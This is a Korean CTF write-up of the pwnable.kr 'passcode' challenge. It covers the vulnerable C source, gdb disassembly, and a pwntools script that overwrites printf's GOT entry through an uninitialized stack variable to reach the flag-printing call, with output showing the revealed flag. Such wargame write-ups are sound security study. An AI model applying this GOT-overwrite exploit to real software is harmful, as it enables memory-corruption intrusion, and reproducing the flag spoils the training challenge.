write-up(pwn)/pwnable.kr

[pwnable.kr] passcode write-up

ssongk 2023. 6. 14. 18:36
#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;
}

 

Dump of assembler code for function welcome:
   0x08048609 <+0>:     push   ebp
   0x0804860a <+1>:     mov    ebp,esp
   0x0804860c <+3>:     sub    esp,0x88
   0x08048612 <+9>:     mov    eax,gs:0x14
   0x08048618 <+15>:    mov    DWORD PTR [ebp-0xc],eax
   0x0804861b <+18>:    xor    eax,eax
   0x0804861d <+20>:    mov    eax,0x80487cb
   0x08048622 <+25>:    mov    DWORD PTR [esp],eax
   0x08048625 <+28>:    call   0x8048420 <printf@plt>
   0x0804862a <+33>:    mov    eax,0x80487dd
   0x0804862f <+38>:    lea    edx,[ebp-0x70]
   0x08048632 <+41>:    mov    DWORD PTR [esp+0x4],edx
   0x08048636 <+45>:    mov    DWORD PTR [esp],eax
   0x08048639 <+48>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x0804863e <+53>:    mov    eax,0x80487e3
   0x08048643 <+58>:    lea    edx,[ebp-0x70]
   0x08048646 <+61>:    mov    DWORD PTR [esp+0x4],edx
   0x0804864a <+65>:    mov    DWORD PTR [esp],eax
   0x0804864d <+68>:    call   0x8048420 <printf@plt>
   0x08048652 <+73>:    mov    eax,DWORD PTR [ebp-0xc]
   0x08048655 <+76>:    xor    eax,DWORD PTR gs:0x14
   0x0804865c <+83>:    je     0x8048663 <welcome+90>
   0x0804865e <+85>:    call   0x8048440 <__stack_chk_fail@plt>
   0x08048663 <+90>:    leave
   0x08048664 <+91>:    ret
End of assembler dump.

welcome 함수에서 100만큼 입력받는데 사이클릭 패턴을 통해 확인해보면

마지막 4바이트가 login 함수의 passcode1에 주소가 됨을 확인할 수 있습니다.

이는 오버라이트가 가능함을 의미합니다.

 

Dump of assembler code for function login:
   ...
   0x080485c5 <+97>:    cmp    DWORD PTR [ebp-0x10],0x528e6
   0x080485cc <+104>:   jne    0x80485f1 <login+141>
   0x080485ce <+106>:   cmp    DWORD PTR [ebp-0xc],0xcc07c9
   0x080485d5 <+113>:   jne    0x80485f1 <login+141>
   0x080485d7 <+115>:   mov    DWORD PTR [esp],0x80487a5
   0x080485de <+122>:   call   0x8048450 <puts@plt>
   0x080485e3 <+127>:   mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>:   call   0x8048460 <system@plt>
   0x080485ef <+139>:   leave
   0x080485f0 <+140>:   ret
   0x080485f1 <+141>:   mov    DWORD PTR [esp],0x80487bd
   0x080485f8 <+148>:   call   0x8048450 <puts@plt>
   0x080485fd <+153>:   mov    DWORD PTR [esp],0x0
   0x08048604 <+160>:   call   0x8048480 <exit@plt>
End of assembler dump.

login 함수를 살펴보면 0x080485E3에서 인자를 설정한 뒤

system 함수를 호출합니다.

오버라이트 할 주소 값은 0x080485E3이 됩니다.

 

이 때 중요한 것은 passcode1에 들어가는 scanf가 %d를 인자로 가지고 있기 때문에

0x080485E3이 아닌 정수로 변환한 값인 134514147을 넣어주어야 합니다.

(이거 땜에 라업 봄..)

 

vmmap으로 오버라이트 할 함수의 주소를 찾아봅니다.

gdb-peda$ vmmap
Start      End        Perm      Name
0x08048000 0x08049000 r-xp      /home/passcode/passcode
0x08049000 0x0804a000 r--p      /home/passcode/passcode
0x0804a000 0x0804b000 rw-p      /home/passcode/passcode
...
gdb-peda$ x/wx 0x0804a000
0x804a000 <printf@got.plt>:     0xf7588680
gdb-peda$
0x804a004 <fflush@got.plt>:     0x08048436
gdb-peda$
0x804a008 <__stack_chk_fail@got.plt>:   0x08048446
gdb-peda$
0x804a00c <puts@got.plt>:       0xf759ecb0

맨 처음 나온 printf의 GOT 주소를 활용해주겠습니다.

 

최종 익스플로잇 코드는 다음과 같습니다.

from pwn import *

# context.log_level = 'debug'

s = ssh(user='passcode',host='pwnable.kr',port=2222,password='guest')
r = s.process(executable='./passcode')

pay = b'a'*96 + p32(0x804a000)
r.sendlineafter(b'enter you name :',pay)

pay1 = b'134514147'
r.sendlineafter(b'enter passcode1 :',pay1)

r.interactive()
$ python3 ex.py
[+] Connecting to pwnable.kr on port 2222: Done
[*] col@pwnable.kr:
    Distro    Ubuntu 16.04
    OS:       linux
    Arch:     amd64
    Version:  4.4.179
    ASLR:     Enabled
[+] Starting remote process bytearray(b'./passcode') on pwnable.kr: pid 305370
[*] Switching to interactive mode
 Sorry mom.. I got confused about scanf usage :(
Now I can safely trust you that you have credential :)
[*] Got EOF while reading in interactive